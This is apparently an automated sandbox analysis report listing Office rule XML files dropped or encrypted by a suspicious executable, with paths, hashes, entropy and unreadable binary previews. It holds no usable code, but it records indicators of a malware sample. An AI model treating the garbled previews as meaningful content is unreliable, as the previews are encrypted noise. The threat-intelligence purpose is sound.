Preview:	<?xml.@}8x3.P.]..T...&.'.g!.)'...........".>...O-{.gh....&.O.{.q..5Fd....f..$'.....H.N..R!T..s..J._a......@.`E.'..?pa0.kW.E..B.......~.^.nE..IT./... ..p.[-/.36P.n......#&'.e.VqF.a.........]Q.x(.z+I[..GL.Mc.y......d."..O..~....~7....P.L..)L.....>...E.A.X...G...wg.>R......(..z..w...F_...g`..G.y....J&.4(<...EO.;..a..b@n.\|.d.oL.y.X......@...[.n...:+.]..~\|P..X..0..b..i=FC..1....V_.-..Vk....pr.@..x..o6.M..../.:.A...d<.}. k....^........3...-..DY......l.#.gM....O.m9y...5ZX.Q]O4u^..`.c.A..w.....E......L n{.......U.....h.....'e./......C.A"......2.$.0#.....t.........&1....l.........~.PA. $..OLPon..$2.$y..>....U...1wZt....t)C..].]...+..n.X~.`.d.Yr.....h.).!._p...Q...:#.G..O....H....H...G.V{mXA^._4..}M\. .e+2..}.^..ntaMa.<.)..s^ >...8..4\..8D\|.9\|J..ZS......v@;.8.O.(.B.][H($.h...S..(...<.0m.jty..!~y.k......8..jH..8......M.....>mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370011v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.809990058327051
Encrypted:	false
SSDEEP:	24:n5XHcLvj74lvEGUfyXs4NEDaVUpUBPcfZ8j25Pi+2bD:FcH0SfyXsWEDvpUzlD
MD5:	ADEFE2DFDC7E5F7A2E103CA937AE44F1
SHA1:	CBC631492F3474D7242D022BC9CA29480A6E573F
SHA-256:	54C9FAABD4AD47A4F3B2BE7036F771E8A657A63CEC777431DCA387683421CCCC
SHA-512:	48F573D01A1DE96BAED2983D1D65239BF9FB1D4FDF0DF6DA2E3DA3299EF7F9662855301ADA43616821B347D46817980EE779CBA7A2060E56C4EF1443CFEB0188
Malicious:	false
Preview:	<?xml.$1`S%...?[..s.i.k.Q..8A...;..f0.x....D.p..hK[....2+.0....,.G.P..i....N...3j}.....t..X...Y..Ov..e.o.....z..w_R#;..]v.A.t..k.[...,.......p..L.u.f..0.#.t..r..d...R.XW../Gc..\|._..fXb.P.K.E"..abm..z/......L'....U[g. o...#...\|7R.c.R.]...mZ..E6.....vy..^..:..u..]ngn...........\;..x.Q.A...`oB...1...."/.\|........]..W.tX..UVo...]F..X..........i8....kf:.kt.L.s.......!\ee.0..t...E..<-A..9.......1+Q .#...7.e..N.T..i2[{r.b..n..zG.][.....?87Q.<......9..k..j...e...`.....s.F.......:m....!...FL..x.r.<...0........9...+.QDl.,.@.8..........v.F.>?.G...Kkr.l.......}.Q....5.=...li@.c....``..T.u....Q.b..&..1^3..&..%\.....63y..2.9(.$W..,.}-h....j..u.'.82......{@.....<R.o...N.0...6.V.../<.N.e....H.D..Q.S...p.....e....9=..UF.d...qGE+....l.V.a.1...C%:.x. :Z..<b...=..X.Q...G.4....S.n..49....@.....B.....H.B...h".A#w..{.s..W"...iu..^....%.Kj...g4\|...^.Z1.9.8.?`kk.8G..W.3..aa..Y..e...XU...8...oW...}J.1...@..50.3.x..s_s....U.+.2....B..EJ....'E.1.ou.T...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370012v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	7.678701486795393
Encrypted:	false
SSDEEP:	12:zW37+fNmldjIcHjcsVA3x3P95KdknsHS8Oohsov+PIG1PxxrGj7YnVSUdNcii9a:zWrua04fiVUDO6sovVQPGI42bD
MD5:	2F77807C01064217CAB49840CBEBD7A6
SHA1:	4AADD1FB8AEAF6A577C9DCAD595C1B07B115633D
SHA-256:	7FD23EB3A7A9CA888954D8FD7204AF3CE9478F1844FBFCF68AC2D1D17F815B9D
SHA-512:	CB3BC5338CF587310CC3B850C049178A7B0494AD4A9D892AF96E1141DA97A1974B6BAF2EEECA30C83217C1106EA74830B0950535ADD5AC2BF935267FEB05ED5D
Malicious:	false
Preview:	<?xml~jS...MH.l...k\|.....v..)...eK.+.9..P......-...\.s.~....e...[.(... u../m.B.....Fy..............1.T.hg.Cq]..(..'.....7OL2A#h...!..,..jw...5i.....i.G4...^.-Ec.x.^....r..(.......jL.UPdL..4+#o=y...y..V.#..#..[.Y..%0...v...E.b...Cj..]."6mK0X.]...>.}Z."...O...A.......R...=]...2\|....!u.W..Oi.......N$.A..n..+..`..k.....U..u..G.+.d.,...z..g..i.D.]e...d.8r...X..+.v.\|.b.d.D.`..A-....W%.T.X...".g..Bh....j..x..2.-.6.W9..w....Y^f,..:Z2..J8.'G-.<^.^(2.Tt..wN}.Y3a...d.!+X..m...g~...ph2+...e.c..pc_...P.z..-.I........=l5..1....&.N...>..;r.OQS......\.R.T......id.W.......[.dE..b.v..2...+X 'x<..!kk....Q.....5.bZ..e.]mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390004v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3616
Entropy (8bit):	7.945190532870324
Encrypted:	false
SSDEEP:	48:K0M85fvorw2M/VpCO4WZ6PZAQLc/aw3VvfSEyUxrKmlUdo7PxAvcBqRik5/TiTtX:KUtgrwj/yACAQ9w3sUD2GTxAvcBqRbgX
MD5:	E674F5F27D0FB82688836F181429C4D8
SHA1:	C76D125BDC4E04E19DDAD69194C3CC6BBA74B2D2
SHA-256:	674B014621FDFD3DF6BD949EEB3A1C94A261B6DE28CCEA186F95F5A0E62E1691
SHA-512:	B061579DB92438EEC7AEBABBD05F3ACC69A9BB3D9D6F3E0EB93B79126F63AF4AE4F36E02F234DFB05E8F629428C1C94D2F4D772F7C6C1323FE312CDEEBF4F4D2
Malicious:	false
Preview:	<?xml.cdtd...Tc..Y............\..`.Fse......&9.8P.r~.KZ{....t....Q...M.B.Q.+..Z.. ....9o1<. .+?..Hs....@....l7z..6._..b.0.H..V.......{..V..M......!{[..RZ)N..Y..f.1...h..fdK]e..k\|\|$8F.}.u.^.......3.Y...Z...{..a.cz...]0.'.i......i.<6.K..fe.@......S~^ys.\..>8.RnK_......0.`..=I...6.....z..&..%\|.......v)....k.GD..L.Ub..O...LW.dJ.. ...4D...r'=\,./.0z?v.CG......Gw.....D..`..b.+.\B.8..d...;...&.......t#...`..a.^.\|.N......Tu.....%..B..'{H..Z..:K.6.0.....Qa......z...QG.-...T.%...z.\.......Q..l....7B..E...\|*V..4Y..R.~..'...!..4...._...X...g1.G..............g.E....t.)+...G...W.e0..m..H.b...1.\....=f....e.<..b ._....,N........"......i..b......}j\|Q.n.B...G.l..>C.h.',.......r.2X...6.=f6.....b.7..Gq......PVH+.Y.i...?.?.y.s..~..b.P..........A....7..Ho.`.......i<,i.%....Py./SQ#.\|.QO...@..F....u>O..\|hy.1..; ..q.B.LF..&...z.bV`..#.[-=.]g.`d{...5....\.e.G..=....,..#E0:.=i..L.....P...$....U.MRo!..'.......eJ<.......c}..'.iV.1-'x0O`..2.Bd".F..9f.....%...../..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390005v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.673253851694515
Encrypted:	false
SSDEEP:	12:vVjAOcscbuDgkfVluXOgUqvDBvxvUTMSmlQF5X9IwR2Pc5HJ26TTjgX5BMSUdNcq:vVjAOctuDXf7eOeFvxvBAls2EfT2bD
MD5:	22162FCD78BC4923FDD3C58AEB5005E2
SHA1:	5FFF340B94C909B25AA32FFF8AE5C4BC2DFEA2B3
SHA-256:	969C89D540598ED50A6F3753B54357C3754FF1E2C94A1EDDF501148A18F04BFD
SHA-512:	CE2BC09B21620CD4B221B642A9C2B284BAFB5E269F63B462D5DA48776DABD468CD632BCDCF9B0DA0940DBC75E944AAC58CCF91B794335F185BC4BB70E3F22EE9
Malicious:	false
Preview:	<?xml.l$.....B:.E&...E...sM..5.V.$..:..8.q....>L0.J...X"..-)Y.Qq.E.K9..S".2.T.$...U...&.9..;.n.9....u.<...\._.5.A]w1..t...W...ZNCW..`_:.x...?....6....B.%.E...Y0..3......,...\...Mc&h.....N..(E..P.K...H!\..B...z.....O.w.+H......M..[."8....d7......{.&....q.bW.Z..>.BE...h.R7.rG0.......8{m.A](..!f..........7p.+;....t....yB....$1...U.vi/(..._..%@#Y.w'.`.&.....(...]..&.....J.DE.jB...+....I.DW#..u.:]...=9..Q)...%.jP.f.4...va..^u..".(%!2}.. .A.._..E5.K>....\.E...Z&a..1.j,<..w_...o.K.y0.y.^.}...Vm.....b......&W..+...q..W..<....(.d.!r...G..dE.j.W......aN.l:_..{s..........}......n.'..-.N.....I0W..w....R.....E../x`..........*n..N...,"+.-n./ T.4..{...Y.+...W..H.d.E..+YmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440000v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	7.934460580765285
Encrypted:	false
SSDEEP:	48:YSRVYUcMUiyF3QI33rSWczJza8CqpCnMB2eiRVsxsbgxzpbD:YS3YzuyeInrHMzkqp95YVbUX
MD5:	B2EEDD4397EC7EABE979B27F06B8F0D2
SHA1:	6330752BA193270452F96EA5F6F91D74A29BBBAC
SHA-256:	6530E74ECA427A5424D0D2E1FD3AAD6AFAB380CF5D83957915F91969A6FC4856
SHA-512:	2AD68B276CDA466CDCCD4A970C5E9138125FDA5BAB94755F784F0F32116DB6E3A64887576AF833909651BDA0D0BB214FA12CB0D706268287EBBB33AB6179FBBB
Malicious:	false
Preview:	<?xmlv.......o....\..^..i5..zy....6..f3..w..!.s...n. .V.V.[.. ..L...p.5o.h...e.U..i~..$.A..K.F........t......ePP..3.z'Z..>.......<.9.7@X..U..\|....W.C.. -.\|c.;D..+...>.!.F.:B.]\....5.u..yew...=.q.b.33.OZ..]......'.=.......A..A......n_....C>R.E.."..PZ..FZP.ExQ.J%uk<.N...@...i...L..:...[.1%=..viDc^..ls.....S.ju.<......[...b.\|.c.pO...Er...!.Ii(......m.0o ..W....d.y..rS...Vq.....,....<.ts.S{g.]?H.n.g.?GU....F....qe..t.w...#.c.* ..y..?.....Y...q.{..L..a.=...`...],...8}X...u......TW.q.)...S6...........8P.v...a...'t....^.J.v...k.ysg.6...i.L.p........I....,.);.6....xm1....;....0eiY..Q.b......5Y...N.'.....i. U.2O..x P.....!...>lc.:f...l....k(...........!...X....n..k...s.>q...i.<....o\..c..........^J2\c..&.+...'FK......:.4.f..)rDN.0Z..J.#...P..v.T.E.qT.\|........^.$fa..."..).n..l.Q.5...gM76.......i....h..8......!..m.S..).O.9.....Q?/.q.{.n..Eaf..[...b.g...r.p.[p{.V.d.).......Wd..}..=?...y.&....6..E7A..v*...jF..Op_u.A..V6%.G..W.^....[.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	44492
Entropy (8bit):	7.995916455973804
Encrypted:	true
SSDEEP:	768:UwfmjMgRwKnCyR1to8fyDp1bjBo9xDDtPhv1jnOJ8BAAKggKYATk4s4xz+CfvbBj:zMMM2y3LqV1e9x3ZhvN5pm4H7v9j
MD5:	F3505C5AA0D27BB426B9607F133F3896
SHA1:	B4DFF9136C7A3315B5F483D642F8A1D3BB3A213D
SHA-256:	633530D2CBB79B9F01226C40FF2B50A07296C8A5BA4360025F752C7E8CE7C3C5
SHA-512:	ED5CAFCFF65721F1B6CCC108901880F8A6F82762F02BB1675982D5E4C7F48CF86098AED657D9A193758CEC4623A61C09E4AA8C5A24A438982E0CC8C203478F7D
Malicious:	true
Preview:	<?xml.<...@ ..m.....(t...%n.)...d}.^.3Q...E '..g...h.j}.+T6.g..3...Y.Wq.NI.9....y..{.@-zMp7&..X9.4G.i.K......[`.Y.c..(.=.W..\|,7\...'..m....PS.z8.M.<.@z.#...c..M.v\|X....S.E:.X!..q.\.[..[G:..\/..v..X..WT}."8.2.Q.W.z.'....in..IH....b[.3.(...]_$..v.`.i....B>.n6xq.Eh,.!.B..T.5Ok.....]i8=x.......A.4.......G.a......)...... .oj...].&...Q{~A..(.....w.....h.x..X.py..=....l.Q.s.......6.... .{.(....(.".\|...Q+.2..N.V..R(x..>...a.B...b.u....b..iJrJ...+qs=..F...hj].P..../.'E,\....N..{c<.P4..........1K.jY..q..._..h.)R.n.b.;.....!uc..6>u....K..i......V#..T....m..SM.~(...q....O..%(..v[u...>.t.'./V$Tn.DJ i..e....F.Je...:.k...SKx..^.tg/...0.....^.=s.~.A.l% .L..]...!.8H{.Da.._...u...P..h......J....`D..6.t]....]H.X.I9I.s.f..a.>i.xE\..{..f.A..,.5j[Q~.?w.K:.<....z..)...$..o..).......@.{M)\|...$....:...c....9.N@>...p.u)tj.MX&.....uVi.X#!G..L..R.S>.pb.Pv.,............O.a,...b.G..\|.Y.._8.4.-A..{\.%.....x.nyu.;...zF....l..7..}.)M5.b>.Y..2.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440004v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2338
Entropy (8bit):	7.9186305681326274
Encrypted:	false
SSDEEP:	48:wbJ1AM1RKgzjtrjsew5bNInKf4vPsbtqoNxRpA7gWBrI9vOVQ2f0tD:419iSjdjse6unLv0oorRpTzwVWV
MD5:	39F3A97C2F6D34D550251F60253DECE0
SHA1:	8A8F0756D147125EB9DC117228C6821B904E5E69
SHA-256:	DB92EED491EAC7CEA38E749FD1FFD579BAE7FB73BA137DA295FED55D0C545525
SHA-512:	28B3AAEA2BE064387299E3D76A56B4792DA43A01D61924CD7762257E3DE6073C28E6AACFA9C2833BCB40669F9F1E6B4436EC8A2E757B7DEBEC1F5B8F98692E86
Malicious:	false
Preview:	<?xml.f..D..'...A.J.u....6.ma?.x..........)..F.L0....e.!.R..K.G.RE.\..J5..O~.iT;.a...jk....LN..RK...Sa..............OA\|B]....f;9.8.6W.r..g....... .cZ..V.......zCm..&...\...qp.\..x...!p?.<.....g.R....o?..F...!.\|N..T...;...q.[.7@.X..Y..\|...=#[ =...p.....?.......x.uG...f.G.a..'...4..Q...y]+w`..u.a.$\|.$.u.a..>r..#.....Zm.N..,PQ..6O..W...Np...;...p.5......VF.../y.[.J..,v ..j....B...].^......f..>....7p...#>.......\Y)b.fDy.u.R..J..h.....c.T.4u.....<.t.bK;.....Sz....."..M2.^.j.;....Y]..%Gs=L...I..F.[....U....q.T..O`..V.7...g..... ..>..j.D].. U..b@...E.... uQUG...D,&...{..D.=.i;.^.N5.Xl..D..W..@..-/y.;. Z.M.....H..cRU.k......O.....dP;..1.S.......h........{L\j.X.6.#qP.5..n.>..#.[..v.-.J/.8{BC%...J.-..$xu7...a..O. O.lU.Gks....uz.L_...Y.x.E..J..&O....<c......".........=...P;b.J..KM./...7u%..<~&.p}...}.....l....n..`..]..w..\Hid.\.s...\|5a..V..l...D..f...(fk..KB...E>'#.w...U.2......P`..D..V!.S.+..at.....L.....\|.Q%micu.....v. ...4ZDZg.r..C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440005v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.917328246145578
Encrypted:	false
SSDEEP:	48:GGyLAhmihzbk/rKbX8R6Uy29Hz2+iLOwORIOdah7j5RRCv8q2+XyMlrx35h6WiJj:JKIFEOQJHi+cORIvhoEH+iMlWp
MD5:	D320B5754F7DC3386611CD128F56DF6C
SHA1:	35B6EF63760D402384C1B0B8D64B8321A25CD210
SHA-256:	B3727F07008CFAABB18C23F8FA5D80B865FD2BB29CB40BD6F752B79313351A19
SHA-512:	21577E4E472B8D6518F694BA870395457081060549791360B9BD1A7BFE889DD679E4C158978D919EBAF6DBF16A5EB3F4011340CA3F840F2B3E55B348C0EB992A
Malicious:	false
Preview:	<?xml.....t...BP[^R.m..?.z....1.uD..).Jy.]...&.h......8w..1..).6N..j..`.....U{7..a..'...0.....3.Qn..p..r.L....tY.y........C{.!C.....V..b;1-...;.Z.I..l..D{.!.L\|b:......=..7.....)..%..b..?X.L..`6x.._-...rf6.>.....+.We.cq.nEq.j..n...!.\|..n..........[)2....p......W9zN[[Z.3...?mW.$.....E......+bd}......z{H.W\.t.\|..#...?..t$.#Q..g.J.)...T...g..........,w..7S..3.^Q.0.R......C-...C...."m.%....x..SB9..=@ac.A.y(.....6.j..C.($.._.7rB....Aw6.....sCF......]...Ik.{!.)..8a0QU.\oH...K..j.2.".<S%.....fm...+.kN...n.i.C..=..:"ln....`r0...84...p+.}>..4..M8.....I..\..Z...>..sg5.<..L.)....[.m.....P..N.R.C.0../m.lT)7W..0..v.O)\...V+_.Dih%....._....1=...M)...5...t....a..DB..K:....m.6.BG/..g`..........g..ZFV+..g....oy..bO:\~?]t..e...\^.R....z.=}<...%0.......1I.S.ws..F...d...&Y.j..4@...9.J...G...0..B...5...7.gE....j..s.^\|mb..]Bm?.......).....w.......(@..6..g..PQ2@..\p..5.YS.h........6.....U.(Q".QJ....N.X1bQ..0....w....Wkg..G.mO..hb17....\|...7,.t.T..P.R...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	41208
Entropy (8bit):	7.995658895503601
Encrypted:	true
SSDEEP:	768:IHzbuY5Zo/ojnAOArGztyHrRbjE3LNj/YGLngNN0d7lwYTsyLnB:ITeojOGsVwCGLngD0dme
MD5:	97C57D1C1E1E6F0DA40A49B8351B6582
SHA1:	2A15C96A06BD813BB3E4043F47D94182BED56C8C
SHA-256:	67A6DED91E869A8271F4EF7AD714656A1F64A5C42CC8D2FBE10E16001082FBEF
SHA-512:	4429166C2A5C2D74989A981DD791C675DE380A65F59CFF70460B7D190B41A5C989D0D367AA3C17B90B5B3458D881E0D4472D43A1C2352A6CAF26D995320095E6
Malicious:	true
Preview:	<?xml.!K.......}Eta.oe.f.}....7..:S.u.&o.o.hZ..h...k...M..<.. ....z.... .4....Di...Y..k.:us.(...5n3..1.EO.Y...v...9...:...`+^55fm.(p..u".j.4fv.c6.t.....z.L....,.x.L;..._lO...!M~j...{....cIn(..e....d-Z6.%....M.v/.>......"U.@'.K[%=f......Z.Z2.././.?..1A...!1a..,..D..sX..Z....z.8^n..P..:.0G...L..1...O.V...... .U..w).$W...[..p.kAj.'...x-L_f...Z\..#.w..D...3..~.....<`..s.5..>.."t.a..w+..zx....c......c.Oz.z+.".3x\'.`....55...R.Y.mO.(....T>.p4}..H...M.>.>'.k\|.1.N.~W..>.k....G.w1.Qn%T.'L.r.6.n.mQ......w.R..O.o.....\|.B.X..Z..,....>Vv.%..U'....jv....\.\|X0-.a..3#"^.[.....tY.\..J....2..:..:.t..0.hq..N......J...&.r..`c..iT....W.T'@....\|...2..7..G.0............9......F.....Z6...M...Q...R+{=a..\|...O...'..gM..4.'.A.EU...'V.aJ....;%.....{H.....8.a.Ug.;.o.....^h.....0.HJQ...X......-.uN.&.@8......r....X..S.Ys.Q....4.t.M.1...O.J.Fy.......x......}.....x&..i..P"y....q./W....N...7..Z....)2..6....}.ju..E(IZ......:.k3(......$m......F......F,wBk.q.....A.nxL.{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460008v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.722817248855885
Encrypted:	false
SSDEEP:	24:T7a6o0vy4bMHyAftVAn+La6a0m9bynLSRpLn0LyWV2bD:PnVbMHyAly+G6a6nLSRpjyQD
MD5:	B5F228B5B5978C18DF1AACCA2D23C195
SHA1:	76D453DBCB88FDD810C7DAAE08E5D70736607AC7
SHA-256:	174DBF95D62713ED3FD7872ADC1B0E2D7DD90D5ACD29F1F7D9A8773950F9C882
SHA-512:	0D74CD43D2986A25F0798C10DC1828127133B85224BF4AAEB52B2667E3CC4FFCBCAF08B0927DCB0A274248AC84B046EA567E22B5C745F1045C5B2322B6F03D7B
Malicious:	false
Preview:	<?xml........1....j..e]..... .8w.4...4,.6.........-...O.[-.gq.p...{..Pi"<.^wig.c..&.L..zL..x...o]..YF........G^...........E.N....C[K.P......X.....x.........]1d..Z.Gz...R.q..K..>.F..n...6..x..}..S..7.?.L...Z..z....[.D.].....t......Q{...h...>..F.....>.@..'...&.._4Jv@.l.},q.m..'Y.b..IV..v8....i......}...T.BW.{G.w.`.........R.H}q..pL.JT..=0q.....k...t~.........j.8......S2u..r......=..-J..t..}......(...,=.....[..`P.....m....q.?`X....3...Hr-. ..o..`4 ...Y3<..<.Td..e.T....&....D....ua}.d..vB..Q.$.[.VW_=..a.hl..5.P^_.Sy{.r(.....rk..........%t.cs..13....\|......\|G......<yQ......#......8....;[.Y.py.;!....&.N.m..'...E..dAAi.w6...I..fL........$..S..?..>..Hr..Tc....s..c.d..B.A.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460009v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.701827770419867
Encrypted:	false
SSDEEP:	12:GxhJYcM4QMIJytFOiNMtNhaDdwRM4wtdAewFS3pW3Zzz0CUzWSUdNcii9a:shJYcMrM0qOyMtTa5kMDQewz1zl62bD
MD5:	C749448942B5A86C86410D8B739716C0
SHA1:	7CC11BB70490D6924855863BA34D3AB6A6CE4231
SHA-256:	DFFF26BF2EBD9C0465ED9E698C7A80E44FE5DE9DF02C637EBC174D3AF90BFE40
SHA-512:	E2E0496F0CF7AAD87C41B59A39286D5C9874CCF5C1C860BD28B0E1FBF040DD53A3B843F7D8F2C58CF99E37409A4D2380D7F62077C6D354B0B2A5684EF7D69C75
Malicious:	false
Preview:	<?xmlDY.G.z.N.........>.C...l..V...~....BK...[.Br.^wB.i.V...JH....=..!..........P...wB...\s.F..Xb..}.;D.n....$.......1?.l....J.b`':.w..M>..#T..7y........gE..B.6...OP......8f.l?....).............Q..\|.....Kg.G8U..w..h..9.YO.Z{.y..-...6........g2..l..m....?F'..Bgb....7s.+.....3.>.?..X."..?..H......G..4.7..N9q.7{.........0...L .F....m.X........."...,h.<.$dX....&r.>...)...e.....4.3.....$!. .(.V/.5&...}MZ.$T.v.~....H.>...L.<. A..q.GD.r.k..Wa.k>..is..&..TJ.....,.hI...3J.. R..H...e...`<........B..w.if3j......?.D.q..B,`P..}."?X..B,....x....+?G.&T.....}.H.K.lOP..n.E...,.fZ....`}.....o8\.....i."&ax...B;U.......;!XG.#uEd$...'...<..M...!...!s#..@G.&@mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490002v13.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.835774491656678
Encrypted:	false
SSDEEP:	24:ACVq/XDYCGsS+PWdeCUT6rWqPoUm5dtgt3neRGLWuhh2bD:JqvECGSPW3UKWRUm5dGt3efuwD
MD5:	4353612AE74D2872C1744D9BE5A0E4E7
SHA1:	A2D52D82E4A185DE9CABE4BBA0094826FEAC51DD
SHA-256:	B65CD268505F2F421EEABEB30DA805C7BDAB495110FDE81513370A5BD6387C85
SHA-512:	EA8A6038197D3F19E8F38E38EA007D420F1C08A0AEF2B8AFA2E7DC5484948840760F0C61F17E003CA42F437F32778117429E01E5786321383C41C89884573EB4
Malicious:	false
Preview:	<?xmlB......Bs..f...`..r.=O....8.`../.....c..r@.j....6..l....C..7.^-......C...u+..o........[.......<.a.e....}.I.l......L...2........3"........f..R..............s......B...(.i.l..I.:..o..,{..?.tv..=.d...q.W.U..Km.s.9?.....s.9>)......j..w.......6K..M.#.!..w....../4...E.1.m....@.w.TG..i...@9.......`.y]aQ.@Y.SD8at9-<.Z.ict.}..q.ji.0Bw./...n....C..=.s{B.4b..._..U(fS.....F....n....`....n.S.C.....?\...{-...$.m....!..\|!.... ;&..m3..a~1.t.A..{.....P.........g..../......Z.m.......56zx.eqq.zva...s.^!.s5'.:..]..-...+......%.}f>..g....0[s.HGJ...._...7.....s.t..B.pa....a.....Kp%.^>...n? ...-.[y.m:.t.E4.J.W..........S....\..p.1FEnl.;.p#....O.~p....32...+.(.>.Q.)....)....@.{&QB.O.>."..tH.Y.m....._..,.(+.........."..cM.2.v..t..Ia..V.l......`...w..C.2.M]}.c..@.....z........=B1..;..s..@h.\.?....n....U.Q$...Tz..B.m[..U...2..\...$G...4o1d1...!g..C19.....!].t.r...U!..$`;....].....<..Q7.ru..v..NG.8.z^A...m.,...H.@'......"...N...lA.O......,....5...Q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490003v7.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	7.807653696614236
Encrypted:	false
SSDEEP:	24:TJ4K0EEMOhBZkrhqIg0Dopsy1r6GNwZQzF1V7Lt+2bD:TEjhiTfy1jN7zFn9lD
MD5:	F87965A048213171E0AA080236BEBF6C
SHA1:	C7BB7C9D688864B924A2CB04A8DBF3F467B6E16E
SHA-256:	F2FEF4BE6FC51D5DC6A2B87F4A57F1EC5E00175B281B11DDEBC90AC376AB75EB
SHA-512:	D5D41FC086783D763EBC1A3FC6FA8478177BCD659DE425BA9DAFCDAA4DAA8D7C0028DBA7DAE65FDACA735C92E83103D55945090372AF52D8A212E547C04102CA
Malicious:	false
Preview:	<?xmlC.^.Q.n.....{...N...m.%...k-.g......c".M"....`."...lA.fp..~m.\|l.u,.......`e.7.,..)..N.....B.F^..v.R.X.Z..x..w..x..G...........U.Y.[....Z...0.N.A.u..Q.p\.............e......H..0..b.C..y.b@.d........s.n../.(M..P=...s..,..d.Tf..R...Rn.d..'q=f0.J..p.@.v.G..I.....b....?.n.X....b3:.1W..)]q.:.o..D...r.5..'.}...JR..(r..7.....E..W.Np"c..j...W6.Kj.k^...0../...g...g.#.i..s>..../...B.8W.)<7....P.....:4[.....Ot..B.)...<.O:EXu......\.40x.N.A.9 %....=..'....T[3.N...........i.[w....G.m.\d..Lby..H..[b.i.`......r...........'....f.\.p..Am..#.....!.;....a.M.......3!u..$..;..J...qR2Z..~8....W...R.A........bmjP..?.,?<.E....b.....XH2_.p....D.lQ..K3..?..2..ba..K....7..Ehf.;Q........1.....8.~.....Lj.+$.....be7..{..........Q...x&........j.........-e.2..Q~...o..ab../.p..l8l.l@..o^?.#.e1.{...e......&ef#9.l.Ph.ro.m...t._..<.t.69.:.K7Ea....$S]}qU.Ig......O..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490004v5.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.796331235486232
Encrypted:	false
SSDEEP:	24:QZd8h9RAbhnZc8OOEp6hXEu260e9Q4OYhzGT2BRt2bD:OgzAbhnvO9QEfLGN4D
MD5:	794B9E2888D8C9BF3DF49D6A768BD059
SHA1:	306C1B2DF19A9D95C81D8685C11AA86EC9CC47CC
SHA-256:	92638F56FE08ADA3C0AD49E976165FD482DAE22222C1B45BE446B0830F94A143
SHA-512:	5AE49EA86B0C4C46A584663C96F5402495F2B01236AA234192622B64889A9DE5E2FAB3DFE0ABA8BAFEF05F604F1D1431DEB58C85E206865DEFCBE16269D67C43
Malicious:	false
